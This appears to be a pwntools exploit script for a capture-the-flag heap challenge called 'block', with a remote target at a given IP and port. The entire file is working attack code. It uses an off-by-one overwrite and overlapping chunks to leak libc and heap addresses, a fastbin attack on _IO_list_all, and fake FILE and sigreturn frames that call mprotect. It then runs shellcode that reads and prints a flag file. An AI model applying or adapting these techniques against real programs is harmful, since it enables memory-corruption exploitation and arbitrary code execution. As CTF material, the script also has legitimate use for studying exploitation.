#!/usr/bin/python
# encoding=utf-8
from pwn import *

file_path = "./block"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('122.112.204.227', 6666)
    libc = ELF('libc-2.27.so')
    one_gadget = 0x0


def add(size, content="\n"):
    p.sendlineafter("Choice >> ", "1")
    if size <= 0x1ff:
        size_type = 3
    elif size > 0x3ff:
        size_type = 1
    else:
        size_type = 2
    p.sendlineafter("Block's type: ", str(size_type))
    p.sendlineafter("Block's size: ", str(size))
    p.sendafter("Block's content: ", content)


def delete(index):
    p.sendlineafter("Choice >> ", "2")
    p.sendlineafter("Block's index: ", str(index))


def show(index):
    p.sendlineafter("Choice >> ", "3")
    p.sendlineafter("Block's index: ", str(index))


def edit(index, content):
    p.sendlineafter("Choice >> ", "4")
    p.sendlineafter("Block's index: ", str(index))
    p.sendafter("Block's new content: ", content)


def shut():
    p.sendlineafter("Choice >> ", "5")


for i in range(7):
    add(0x1e0)
for i in range(7):
    delete(i)


add(0x68) # 0
add(0xf0)
add(0x68) # 2
add(0x68) # 3
add(0x500, b"a"*0x8 + p64(0x501) + b"\n") # 4
add(0x68) # 5
edit(0, b"a"*0x68+b"\xf1")

delete(1)
add(0xf0) # 1
add(0x68) # 6 = 2
delete(4)
show(3)
p.recvuntil("The content is ")
libc.address = u64(p.recv(8)) - 96 - 0x10 - libc.sym['__malloc_hook']
heap_address = u64(p.recv(8))
log.success("heap address {}".format(hex(heap_address)))
log.success("libc address {}".format(hex(libc.address)))

fake_io_address = heap_address + 0x10
io_str_jumps = libc.address + 0x3e8360
setcontext_address = libc.sym['setcontext'] + 53
shellcode_address = heap_address - 0xd0
frame_address = fake_io_address + 0x100

frame = SigreturnFrame()
frame.rip = libc.sym['mprotect']
frame.rdi = heap_address & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = shellcode_address

fake_io = p64(0)*5 + p64(1) + p64(0) + p64(frame_address)
fake_io = fake_io.ljust(0xd8, b"\x00")
fake_io += p64(io_str_jumps - 8)
fake_io += p64(0) + p64(setcontext_address)

shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read(3, "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)


delete(2)
delete(5)
delete(6)
add(0x68, p64(libc.sym['_IO_list_all']-0x23) + b"\n") # 2
add(0x68) # 4
add(0x68, p64(shellcode_address + 0x8) + asm(shellcode) + b"\n") # 5 = 2
add(0x68, b"\x00"*3 + p64(0)*2 + p64(fake_io_address) + b"\n")
add(0x400, fake_io.ljust(0x100, b"\x00") + bytes(frame) + b"\n")
gdb.attach(p, 'b * 0x555555554000+0xcfa\nc')
shut()

p.interactive()
